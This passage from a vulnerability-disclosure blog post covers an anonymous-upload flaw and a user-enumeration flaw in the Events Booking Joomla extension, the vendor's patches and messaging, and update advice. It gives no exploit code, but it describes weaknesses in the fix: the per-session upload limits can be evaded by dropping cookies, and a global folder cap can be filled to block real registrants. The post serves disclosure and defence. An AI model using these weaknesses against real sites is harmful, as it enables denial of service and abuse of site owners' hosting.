&lt;p&gt;For the record, the Joomla CNA settled the question independently. It assigned &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt;&lt;/strong&gt; for the default anonymous upload and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60025/&quot;&gt;CVE-2026-60025&lt;/a&gt;&lt;/strong&gt; for the missing CSRF token. Two CVEs, for the thing that was not really a security issue.&lt;/p&gt;
&lt;p&gt;The position held in public, too. On the changelog thread, after the fixes had shipped, the vendor wrote:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation, on the changelog thread&lt;/p&gt;&lt;div&gt;&lt;p&gt;BTW, the current implementation is quite safe. But since the upload file is open for public users to upload files during their registration, if someone uses it to upload multiple files, there is no way for the system to prevent that. That is the same for any public forms which allow public users to upload files&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The fixes for the non-vulnerability&lt;/h2&gt;
&lt;p&gt;“There is no way for the system to prevent that” appears in the same changelog post that documents four brand new settings whose entire purpose is to prevent exactly that.&lt;/p&gt;
&lt;p&gt;We obtained the 5.8.0 and 5.8.1 packages and diffed them. If the anonymous upload were not a security issue, 5.8.1 would be a quiet maintenance release. Instead, here is what the vendor shipped for that one endpoint across the two versions.&lt;/p&gt;






































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Hardening added&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;What it does&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CSRF token check&lt;/td&gt;&lt;td&gt;5.8.0&lt;/td&gt;&lt;td&gt;The token the vendor argued was useless is now required on the upload&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Upload needs an existing File field&lt;/td&gt;&lt;td&gt;5.8.0&lt;/td&gt;&lt;td&gt;The endpoint is no longer live on every install by default&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Per-field permission validation&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;The specific field being uploaded to must exist, must be a File type, and must be within the requester’s authorised view levels&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Max files per session (default 100)&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;New admin setting, capping how many files one visitor may upload&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Max files per minute (default 20)&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;New admin setting, throttling upload rate&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Upload folder size limit&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;New admin setting in MB, ships disabled&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Max files in upload folder&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;New admin setting, ships disabled&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Real image content validation&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;A 260-line image helper that runs &lt;code&gt;getimagesize&lt;/code&gt; and &lt;code&gt;finfo&lt;/code&gt; against anything with an image extension, so a file claiming to be a JPEG has to actually be one&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Randomised filenames&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;Uploads are now prefixed with 16 random hex characters, so an attacker cannot predict or link to the path they wrote&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Image validation on serving&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;The download endpoint re-validates that a file is a real image before serving it inline&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt;&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;Stops browsers MIME-sniffing a served file into something executable&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Orphan file cleanup tool&lt;/td&gt;&lt;td&gt;5.8.1&lt;/td&gt;&lt;td&gt;A new admin function, described by the vendor as a “hidden tool”, that deletes files in the upload folder with no matching registration record. There is also a scheduled task to run it automatically&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Look at that last row again. The vendor shipped a tool to clean up the files that the not-a-security-issue endpoint had already accepted from strangers, and a scheduled task so it keeps cleaning them up.&lt;/p&gt;
&lt;p&gt;The changelog also credits an &lt;code&gt;.htaccess&lt;/code&gt; in the upload folder, added “just in case admin allows uploading php files by mistake”. We can confirm the file is present in both packages and contains &lt;code&gt;deny from all&lt;/code&gt;. Do not lean on it: that is an Apache directive. On nginx it is an inert text file, and plenty of Joomla hosting is nginx or a proxy in front of Apache.&lt;/p&gt;
&lt;p&gt;Alongside the upload work, 5.8.1 also tightened output escaping from &lt;code&gt;ENT_COMPAT&lt;/code&gt; to &lt;code&gt;ENT_QUOTES&lt;/code&gt; (the former does not escape single quotes, a common source of cross-site scripting), and extended Joomla’s &lt;code&gt;filterText&lt;/code&gt; to sixteen editor fields on the event form that were previously being read raw.&lt;/p&gt;
&lt;p&gt;All of this is good work, and 5.8.1 is a better release than 5.8.0. It is also twelve layers of defence built around an endpoint the vendor was still describing, in public, as fine.&lt;/p&gt;
&lt;h3&gt;There are two different builds of 5.8.0&lt;/h3&gt;
&lt;p&gt;One more thing to check if you already updated. Buried in the changelog thread is this:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation, on the changelog thread, 15 July&lt;/p&gt;&lt;div&gt;&lt;p&gt;Just want to update that some additional checks were added to make field upload more secure (just in case someone uses upload end point to attack your site by mass upload), so if you updated Events Booking before 16:10pm, 15 July 2026, you might want to download latest package and update it to your site again&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The version number did not change. Two different packages shipped as 5.8.0, and which one you have depends on what time of day you clicked update. Anyone who updated promptly, which is to say anyone who took the security release seriously, got the weaker build and has no way to tell from the version number.&lt;/p&gt;
&lt;p&gt;This is the second time in this story that a package changed without the version changing: the enumeration fix was pushed into the download package on 14 July with no changelog entry at all. Version numbers are how site owners and tools like ours reason about who is patched. When the contents move underneath a fixed version string, everybody downstream is working from bad data.&lt;/p&gt;
&lt;p&gt;Going to 5.8.1 resolves it, which is the simplest reason to skip 5.8.0 entirely.&lt;/p&gt;
&lt;h3&gt;What 5.8.1 still does not do&lt;/h3&gt;
&lt;p&gt;Being straight about the limits of the fix, because “updated to 5.8.1” is not the same as “no longer reachable”:&lt;/p&gt;
&lt;h4&gt;Anonymous uploads still work, by design&lt;/h4&gt;
&lt;p&gt;A public registration form has to accept uploads from people who are not logged in. Where a File field’s access level is Public, which it must be for public registration, a guest still passes the new permission check. That is a legitimate design decision and the JSST accepted it as such. It does mean the endpoint remains an anonymous write path, now with limits on it.&lt;/p&gt;
&lt;h4&gt;The rate limits are per session&lt;/h4&gt;
&lt;p&gt;The 100-per-session and 20-per-minute counters are stored against the visitor’s session. An attacker who discards their session cookie between batches gets a fresh allowance every time. This slows down a naive script, not a determined one.&lt;/p&gt;
&lt;h4&gt;The absolute caps ship disabled&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;upload_folder_size_limit&lt;/code&gt; and &lt;code&gt;upload_max_files_in_folder&lt;/code&gt; both default to &lt;code&gt;0&lt;/code&gt;, meaning off. Out of the box, 5.8.1 has no ceiling on total files or total disk consumed. If you want one, you have to go and set it.&lt;/p&gt;
&lt;h4&gt;A cap you set buys a different problem&lt;/h4&gt;
&lt;p&gt;Both caps are global to the upload folder. Once the limit is hit, further uploads are rejected for everyone, including real registrants. An attacker who fills the folder to your configured cap has denied service to your event sign-ups. Set these values, by all means, but set them with headroom and monitor the folder.&lt;/p&gt;
&lt;h2&gt;What customers were actually told&lt;/h2&gt;
&lt;p&gt;On 20 July, JoomDonation emailed its Events Booking customers about the 5.8.1 release. That email is how most site owners will learn any of this happened, so it matters more than the changelog does. It describes the enumeration flaw as “Information disclosure: Under certain conditions, an unauthenticated user could retrieve the name and email address associated with a registered user.” Then, on the upload, in bold:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation&apos;s customer email, 20 July&lt;/p&gt;&lt;div&gt;&lt;p&gt;This should be considered a security improvement rather than a vulnerability. It is not a remote code execution vulnerability, and attackers could not upload executable files or gain control of your website.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Taking that apart fairly, because parts of it are true.&lt;/p&gt;
&lt;p&gt;On a default configuration, “it is not a remote code execution vulnerability” is correct, and we have said the same thing throughout this post. The default allow-list has no PHP in it.&lt;/p&gt;
&lt;p&gt;“Attackers could not upload executable files” is correct for the default allow-list, and wrong as an absolute. That list is a configuration setting an administrator can edit, and the sentence makes a promise about every install rather than about the shipped defaults.&lt;/p&gt;
&lt;p&gt;“Or gain control of your website” is a claim the vendor is not in a position to make. The same release that email is announcing added image content validation to the file-serving path and an &lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt; header to it. Those are defences against a served upload being interpreted as something other than an image. You do not add them to a path where nothing could ever go wrong.&lt;/p&gt;
&lt;p&gt;Someone else already settled “this should be considered a security improvement rather than a vulnerability”. The Joomla CNA assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt; three days before that email went out, describing the extension as having “by default allow[ed] unauthenticated users to upload media assets”. A CVE is the industry’s formal record of a vulnerability. It is not a security improvement.&lt;/p&gt;
&lt;p&gt;“Under certain conditions” is doing an enormous amount of work here. The condition, for the enumeration flaw, is that somebody sends a request.&lt;/p&gt;
&lt;p&gt;Two things the email leaves out are worth noting. It presents “this update automatically disables the upload endpoint when your site does not use any File Upload custom fields” as a helpful new behaviour, when it is the fix for the CVE above: the endpoint should never have been live on installs that were not using it. And across the whole message there is no CVE number, no advisory link and no indication that three CVEs exist for what it describes.&lt;/p&gt;
&lt;p&gt;The practical effect is what concerns us. A busy agency owner reading “these issues are not considered critical” and “a security improvement rather than a vulnerability” will file it under housekeeping and get to it next month. Given that the version data above shows not one install we can see was even on the current release, that is the outcome least likely to get anybody patched.&lt;/p&gt;
&lt;h2&gt;And then we were asked, repeatedly, to say nothing&lt;/h2&gt;
&lt;p&gt;Running alongside all of the above was a request that kept coming back: please hold off publishing.&lt;/p&gt;
&lt;p&gt;It came on 15 July, after the 5.8.0 announcement had already gone out describing both bugs and naming the fixed version. We were asked for two days. It came again on 20 July, after the newsletter had gone to the entire customer base, this time phrased as &lt;em&gt;“I hope you can wait and give customers few days to update because I only start sending newsletter today”&lt;/em&gt;, with &lt;em&gt;“as mentioned before”&lt;/em&gt; in front of it confirming this was not the first time. The same message asked whether publishing was &lt;em&gt;“even legal by low”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;There is a legitimate version of this request, and it deserves a hearing before I disagree with it. Coordinated disclosure normally does include a grace period after a patch ships. Researchers hold the technical detail back for a window so that site owners can update before attackers get a map. We honour that on every disclosure we make, which is why we sat on both of these findings until a fix existed.&lt;/p&gt;
&lt;p&gt;The logic depends entirely on the vendor not having published the details themselves. That is not what happened here.&lt;/p&gt;
&lt;p&gt;By the time the first request arrived, JoomDonation had already pushed a silent package on 14 July, published a changelog on 15 July that described both bugs by category and named the fixed version, and rebuilt the package again that afternoon. By the time the second arrived, an email had gone to every customer. A security release is itself a disclosure, and the loudest one available: it hands anyone who cares two packages to compare. We ran that comparison ourselves for this article. It took an afternoon and produced the table above. No one needs our permission or our write-up to do the same thing, and the people most likely to do it quickly are the ones with a reason to hurry.&lt;/p&gt;
&lt;p&gt;So the delay does not slow an attacker down. It reaches the other group. The people who read security write-ups are the people trying to work out what to prioritise across a portfolio of client sites this week, and they are the only ones a silence reliably affects.&lt;/p&gt;
&lt;p&gt;That matters more than usual here because of what those customers were told in the same breath. An email saying the upload is “a security improvement rather than a vulnerability” and that “these issues are not considered critical”, combined with no independent analysis available to weigh it against, is not a neutral state of affairs; it is a one-sided account of a set of flaws with three CVEs attached to them. Waiting a few days would have meant customers making patching decisions with only that account in front of them.&lt;/p&gt;
&lt;p&gt;The argument does not hold up against the data either. “Give customers a few days to update” assumes a world in which a few days changes the outcome. Not one Events Booking install we can see was running the current release, and roughly three quarters were an entire major version behind. The sites actually at risk here are years behind, not days.&lt;/p&gt;
&lt;p&gt;We agreed to the first request. We published nothing on 15 July, nothing on the 16th, and nothing in the days after that. This article is going out on 20 July, five days later.&lt;/p&gt;
&lt;p&gt;What happened during those five days is the reason there is no sixth. A second build shipped under the same version number. A follow-up release went out. An email reached every customer describing a CVE as a security improvement. And the request came round again, this time for “a few days” more, with a question about whether publishing was even legal attached to it. A hold that renews itself every time the vendor makes another public statement is an open-ended veto, not a coordination window.&lt;/p&gt;
&lt;p&gt;Our commitment is to withhold the exploit until a fix exists. We have done that and are still doing it: there is no proof-of-concept, no endpoint name and no request format anywhere in this article, and there will not be. That commitment does not extend to staying silent indefinitely while the vendor publishes its own version of events to thousands of people.&lt;/p&gt;
&lt;p&gt;Which brings us to what happens next. Today we reported a further security issue to the same vendor, an IDOR in 5.8.1. That report enters a &lt;strong&gt;90 day disclosure period&lt;/strong&gt;, the industry-standard clock, which runs to &lt;strong&gt;18 October 2026&lt;/strong&gt;. JoomDonation has until that date to ship a fix, and we will publish after it whether one exists or not.&lt;/p&gt;
&lt;p&gt;Fixing the date in advance is the answer to everything in this section. No one has to ask anybody for silence, no one has to argue about whether a release counts as disclosure, and no one has to wonder when the window closes. It is written down, both sides can see it, and the clock does not restart every time somebody publishes a changelog.&lt;/p&gt;
&lt;h2&gt;What coordinated disclosure actually requires&lt;/h2&gt;
&lt;p&gt;It would be easy to read the last few sections as a personal complaint. They are not. Coordinated disclosure is a documented, standardised process with obligations on both sides, and the reason those obligations exist is that site owners cannot make good decisions without them. This section is the part we would ask any extension developer to read, because most of the friction in this case came from a process gap rather than from bad intent.&lt;/p&gt;
&lt;p&gt;The relevant standards are not obscure. &lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; covers vulnerability disclosure: how a vendor should receive reports and, importantly, how it should publish advisories. &lt;a href=&quot;https://www.iso.org/standard/69725.html&quot;&gt;ISO/IEC 30111&lt;/a&gt; covers the internal handling process that sits behind it. The &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; from Carnegie Mellon is the practitioner reference most researchers work to. &lt;a href=&quot;https://www.first.org/global/sigs/vulnerability-coordination/multiparty/&quot;&gt;FIRST&lt;/a&gt; publishes guidance for coordinating between multiple parties, which is exactly the situation once a national or project CNA is involved. &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html&quot;&gt;OWASP&lt;/a&gt; publishes a short, readable cheat sheet for anyone who wants the summary rather than the standard.&lt;/p&gt;
&lt;p&gt;They differ in detail and agree on the shape. The researcher withholds technical detail while a fix is produced. The vendor investigates in good faith, fixes, and then communicates accurately. Both parts matter, and the vendor’s part is the one that gets skipped.&lt;/p&gt;
&lt;p&gt;In practice, the vendor’s obligations come down to this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Assess the report on its merits, not on whether it feels like an attack you recognise.&lt;/strong&gt; “This endpoint is meant to be public” is a design statement, not a security assessment.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Publish an advisory that describes what was wrong&lt;/strong&gt;, not a changelog line that could equally describe a bug fix. Users triage from your advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change the version number when the contents change.&lt;/strong&gt; A package rebuilt under the same version breaks the one signal everybody downstream relies on, including automated tooling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request a CVE, and put the number in your communications.&lt;/strong&gt; Joomla runs &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;its own CNA&lt;/a&gt;, so for Joomla extensions this costs an email.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Characterise severity honestly in customer-facing messages.&lt;/strong&gt; Understating it does not calm anybody down, it just means the update does not get installed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Correct the record visibly.&lt;/strong&gt; Editing a published advisory without a note is how you lose the benefit of having published it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coordinate the timing, once, and in advance.&lt;/strong&gt; Agree a publication date with the reporter before you ship, rather than asking for open-ended silence afterwards.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Credit the reporter.&lt;/strong&gt; It costs nothing and it is the entire economy that produces reports like this one.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Measured against that list, this case was mixed rather than uniformly poor, and it is worth saying so. JoomDonation fixed the enumeration flaw quickly and without argument. They credited us publicly. They engaged with the JSST rather than ignoring it. They &lt;a href=&quot;https://joomla3security.com/vendors/joomdonation/&quot;&gt;patched the Joomla 3 line&lt;/a&gt; when other vendors this month simply &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;walked away from Joomla 3 altogether&lt;/a&gt;. The engineering response, once it got going, was thorough, as the hardening table above shows.&lt;/p&gt;
&lt;p&gt;The communications were the failure. A silent package on 14 July, a changelog on 15 July that argued with the finding while fixing it, a second build shipped under the same version number that afternoon, published statements edited away without a correction note, a customer email describing a CVE as a security improvement, and repeated requests for our silence after each of those public acts. Every one of those is a communication decision rather than a coding one, and every one of them made it harder for a site owner to work out whether they needed to act.&lt;/p&gt;
&lt;p&gt;The bugs themselves are ordinary. Any codebase with a public front end grows them. What separates vendors is what happens in the week afterwards, not whether they ship a vulnerability, and that week is almost entirely made of communication.&lt;/p&gt;
&lt;h2&gt;Joomla 3 users: the fix exists, but it is not where you would look for it&lt;/h2&gt;
&lt;p&gt;JoomDonation has released &lt;strong&gt;Events Booking 4.9.5&lt;/strong&gt; for Joomla 3, containing the same fixes. Credit where it is due: &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;many vendors would not have bothered&lt;/a&gt; patching a Joomla 3 line at all, and this month we &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;wrote about JoomShaper abandoning Joomla 3 entirely&lt;/a&gt; while known critical holes remained open. JoomDonation did the work.&lt;/p&gt;
&lt;p&gt;The problem is the distribution. When a customer on the changelog thread asked where to download it, having found that the download button only offered 5.8.0, the answer was:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JoomDonation, on the changelog thread&lt;/p&gt;&lt;div&gt;&lt;p&gt;We do not provide download package for Joomla 3 directly on Downloads section. If you need it, please submit a support ticket and we will send it to you&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;There is a second route, and it is the better one if it works for you: configure your &lt;strong&gt;Download ID&lt;/strong&gt; in the component and use Joomla’s own updater from the site’s administrator area, which will offer 4.9.5 in place. That is the path the vendor recommends. Worth knowing, though, that the customer who asked reported back on the same thread that the updater route gave them a &lt;strong&gt;403 error&lt;/strong&gt; when they clicked through, which they suspected was their Admin Tools firewall blocking the update URL.&lt;/p&gt;
&lt;p&gt;So on Joomla 3 the fix is real, but reaching it means either configuring a Download ID and hoping your firewall lets the updater through, or opening a support ticket and waiting for a human to email you a zip. Every extra step between a fix and the sites that need it costs you installs, and a support ticket is an expensive step: it needs an active subscription, a login, someone to write the ticket, and someone at the other end to answer it. Meanwhile the vulnerable version stays on the site. Attackers do not need to open a ticket to read the changelog and work out what changed.&lt;/p&gt;
&lt;p&gt;If you run Events Booking on Joomla 3, start that today. And treat it as one more argument for the migration you have been putting off, because a security fix you have to request by hand is not a maintenance model that scales.&lt;/p&gt;
&lt;h2&gt;The number that worries us is not the severity&lt;/h2&gt;
&lt;p&gt;Here is the part of this story we find most alarming, and it has nothing to do with how clever either bug is.&lt;/p&gt;
&lt;p&gt;We can see Events Booking installed on &lt;strong&gt;just over 470 Joomla sites&lt;/strong&gt; across our customers’ accounts. When we checked which versions those sites were running, we did not find a long tail of stragglers behind a well-updated majority. We found this:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Version line&lt;/th&gt;&lt;th&gt;Share of installs&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;5.7.x (the current line at the time)&lt;/td&gt;&lt;td&gt;0%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5.x, but behind the current line&lt;/td&gt;&lt;td&gt;25%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4.x&lt;/td&gt;&lt;td&gt;65%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3.x&lt;/td&gt;&lt;td&gt;7%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.x or older&lt;/td&gt;&lt;td&gt;2%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Read that top row again. &lt;strong&gt;Not one site we can see was running the current release.&lt;/strong&gt; Roughly three quarters were an entire major version behind, and the single most common version across every install was a 4.9 release.&lt;/p&gt;
&lt;p&gt;This is the uncomfortable truth behind every responsible disclosure. We found the bugs, they got argued about, they got fixed, and a patch now exists that will reach approximately no one, because the sites running this extension were already years behind before we started looking. The security industry publishes a fixed-in version and calls the job done. The rollout is the part that actually protects anyone, and on this evidence the rollout barely happens.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites and have not looked at your extension versions recently, that table is probably a description of your own portfolio. I have never met an administrator who decided that 4.9.4 was good enough. What I have met is a lot of people for whom updating an extension means logging into each site’s admin one at a time, which is a job that grows with every client you win, so it waits until something breaks.&lt;/p&gt;
&lt;h2&gt;The root cause is a gate that was never there&lt;/h2&gt;
&lt;p&gt;Both findings come from the same architectural decision, and it is worth understanding because it predicts where the next bug in this codebase will be.&lt;/p&gt;
&lt;p&gt;Events Booking’s front end runs on the vendor’s own controller framework. When a request arrives, the dispatcher takes the &lt;code&gt;task&lt;/code&gt; parameter, maps it to a method on the controller, and calls it. That is a normal enough design. The problem is what the dispatcher does not do on the way: it performs &lt;strong&gt;no CSRF token check and no permission check at all&lt;/strong&gt;. Both are helpers that each individual method has to remember to call for itself.&lt;/p&gt;
&lt;p&gt;Opt-in security has a predictable failure mode. Every public method on every front-end controller is reachable by an anonymous visitor unless its author remembered to bolt a guard onto it, so the security of the component rests on no one ever forgetting. Somebody always forgets.&lt;/p&gt;
&lt;p&gt;The developers here clearly know the risk, which is what makes it instructive. Several of the front-end controllers do call the token check and a permission check, correctly, right at the top of the sensitive methods. The two endpoints we reported are the ones where that did not happen. Read that as a framework problem rather than a competence one: the guard is a line you add, so its absence is invisible. Nothing looks wrong on the screen. The reviewer has to spot a line that was never written, which is a much harder thing to ask of anyone than spotting a mistake.&lt;/p&gt;
&lt;p&gt;That is the same shape as &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;the AJAX endpoint problem&lt;/a&gt; we have written about, and the same reason it keeps producing findings across unrelated Joomla extensions. A framework that guarded every task by default, and made a developer opt a method &lt;em&gt;out&lt;/em&gt; to make it public, would have prevented both of these findings without anyone having to be careful.&lt;/p&gt;
&lt;h2&gt;How serious are they?&lt;/h2&gt;
&lt;p&gt;Two flaws, two different answers, and neither of them is a 10.0. We could have written this up as critical and plenty of the industry would have, but calling it a 10.0 would be dishonest and would make it harder for you to believe us next time something really is one, as &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;several of this month’s findings&lt;/a&gt; were.&lt;/p&gt;
&lt;h3&gt;The anonymous upload&lt;/h3&gt;
&lt;p&gt;The Joomla CNA assigned &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60025/&quot;&gt;CVE-2026-60025&lt;/a&gt; and has not published scores for either at the time of writing. Our own assessment puts it in the &lt;strong&gt;Medium&lt;/strong&gt; band on a default configuration, with a &lt;strong&gt;High&lt;/strong&gt; ceiling on any site that widened its attachment allow-list to an executable type, where it becomes unauthenticated remote code execution.&lt;/p&gt;
&lt;p&gt;The allow-list is what keeps the default case out of the high range: no PHP, so no code execution. What stops it being a footnote is everything in the section above, and a CVSS vector captures that badly. “Integrity: low” is a thin way to describe illegal content served from your domain, under your hosting contract, in your name.&lt;/p&gt;
&lt;p&gt;Severity here scales with how exposed your site is and how long it ran an affected version, rather than with how many users you have. A new site no one has found yet is probably fine. A site that has been in Google for years with a public registration form has been reachable by every scanner on the internet for as long as this code has existed.&lt;/p&gt;
&lt;h3&gt;The user enumeration&lt;/h3&gt;
&lt;p&gt;We score this &lt;strong&gt;CVSS 4.0 6.9 (Medium)&lt;/strong&gt;. An anonymous attacker gets names and email addresses, not password hashes, and cannot write to the database or execute anything through it.&lt;/p&gt;
&lt;p&gt;Severity here scales directly with your user table. A club site with six logins has a small problem. A ticketing site with 40,000 registrants has a personal data breach involving 40,000 people, from a bug that took one afternoon to find.&lt;/p&gt;
&lt;h3&gt;What both share&lt;/h3&gt;
&lt;p&gt;Neither has any barrier in front of it. No account, no token, no user interaction, no clever timing, no waiting for an administrator to click something. Anyone with a browser and a for-loop, against any affected site on the internet, with nothing in the logs. Compare that with the &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download flaw&lt;/a&gt; from the same run, which scored higher but needed a registered account and a non-default setting enabled to work at all.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update to Events Booking 5.8.1, or 4.9.5 on Joomla 3. A web application firewall will not save you here, because unlike a SQL injection there is no malicious payload for it to recognise: the attack is an ordinary, perfectly-formed request that the site is supposed to answer. The only thing wrong with it is who sent it, and your firewall has no way to know that.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;That last point is worth dwelling on, because it inverts the usual advice. With &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;the SQL injections we found in EDocman and DPCalendar&lt;/a&gt;, a SQL-filtering firewall could at least buy you time, because the attack contained recognisable SQL. Here there is nothing to filter. The request is valid. That leaves updating as the whole of your defence.&lt;/p&gt;
&lt;h2&gt;Which versions are affected, and which do you need?&lt;/h2&gt;
&lt;p&gt;We audited &lt;strong&gt;Events Booking 5.7.1&lt;/strong&gt;, the current release when we found this, and confirmed both issues in it. Being straight about the limits of that: we did not audit every older release, so we cannot tell you exactly when either endpoint first appeared. What we can tell you is that both are long-standing features rather than something new in 5.7.&lt;/p&gt;
&lt;p&gt;Given the version spread above, treat any Events Booking release at or below &lt;strong&gt;5.7.1&lt;/strong&gt; as affected: that is very likely every install you own.&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Your Joomla&lt;/th&gt;&lt;th&gt;Version to be on&lt;/th&gt;&lt;th&gt;How to get it&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 4, 5 or 6&lt;/td&gt;&lt;td&gt;&lt;strong&gt;5.8.1&lt;/strong&gt; or later&lt;/td&gt;&lt;td&gt;Joomla’s Extensions updater, or your JoomDonation account&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.9.5&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Not in the public downloads area. Configure a Download ID and use Joomla’s updater, or open a support ticket&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;There is no 5.7.2: the release went straight from 5.7.1 to 5.8.0, then 5.8.1 followed within days. &lt;strong&gt;Do not stop at 5.8.0.&lt;/strong&gt; Every one of the upload hardening measures in the table above arrived in 5.8.1, and 5.8.0 itself shipped as two different builds under one version number.&lt;/p&gt;
&lt;p&gt;We have now reviewed both packages against what we reported. The enumeration fix in 5.8.0 is correct: the endpoint now requires the &lt;code&gt;eventbooking.registrantsmanagement&lt;/code&gt; permission and throws a 403 without it. The upload fixes are as described above.&lt;/p&gt;
&lt;h2&gt;How do you update Events Booking safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expect a real upgrade, not a patch, if you are on 4.x.&lt;/strong&gt; Two thirds of the installs we can see are a major version behind. Going from a 4.x build to 5.8.1 crosses a major version boundary, and on a component that handles registrations and payments you want that tested somewhere other than production. This is the tax on having skipped updates for years, and it is exactly why the sites that need this fix most will find it hardest to take.&lt;/li&gt;
